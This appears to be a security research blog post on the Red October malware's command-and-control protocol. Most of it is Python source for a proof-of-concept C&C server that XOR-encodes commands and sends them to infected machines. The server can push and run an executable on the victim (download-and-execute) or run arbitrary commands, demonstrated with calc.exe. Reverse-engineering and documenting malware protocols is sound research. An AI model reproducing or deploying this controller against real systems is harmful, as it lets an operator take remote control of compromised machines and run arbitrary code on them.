After our previous analyses of the malware Red October available here:
We decided to understand the protocol used by this malware. After understanding the protocole we made a short C&C using python.
For example the feature named 0x3 is used to download a file and execute the file on the infected machine.
Here is the format of the network packet:
The server uses a XOR to encode this data before sending them to the infected machine.
Here is the code source of the C&C, this POC supports download+execute and execute:
#!/bin/python
import SocketServer
import sys
import os
import logging
import struct
import subprocess
import time
import struct
logging.getLogger().setLevel(logging.DEBUG)
seed = 0x12345
def rand():
global seed
seed = (seed * 0x343FD) + 0x269EC3
return (seed >> 0x10) & 0x7FFF
def encode(data):
global seed
seed = 0x12345
out = ''
for c in data:
out += chr((ord(c) ^ (rand()&0xff)) & 0xff)
return out
class CCTCPHandler(SocketServer.BaseRequestHandler):
def uploadexec(self, localfile, targetfilename):
cmdid = struct.pack('<I', 0x3) # action
data = struct.pack('<I', 0x1) # install in TEMP
data += "foo.exe\x00" # filename
data += open('./a.exe').read() # file data
length = struct.pack('<I', len(data)) # length of the payload
return cmdid + length + data
def execute(self, cmd):
cmdid = struct.pack('<I', 0x4) # action
data = struct.pack('<I', 0x0) # install in TEMP
data += "%s\x00" % (cmd) # command
length = struct.pack('<I', len(data)) # length of the payload
return cmdid + length + data
def setup(self):
logging.info("%s:%s connected",
self.client_address[0], self.client_address[1])
def finish(self):
logging.info("%s:%s disconnected",
self.client_address[0], self.client_address[1])
def handle(self):
data = self.request.recv(2048)
logging.info("%s:%s recv data %d",
self.client_address[0], self.client_address[1], len(data))
temp = data.split("\r\n\r\n")
headers_recv = temp[0]
print headers_recv
if headers_recv[0:4] == "POST":
content = "".join(temp[1:])
print content
else:
content = "".join(temp[1:])
print content
#resp = self.uploadexec('source.exe', 'target.exe')
resp = self.execute('C:\\Windows\\system32\\calc.exe')
resp = encode(resp)
headers = "HTTP/1.1 200 Found\r\nContent-Length: %d\r\n\r\n" % (len(resp))
self.request.sendall(headers + resp)
if __name__ == "__main__":
listen = ("0.0.0.0", 80)
print "Listening on %s:%d" % listen
server = SocketServer.TCPServer(listen, CCTCPHandler)
server.serve_forever()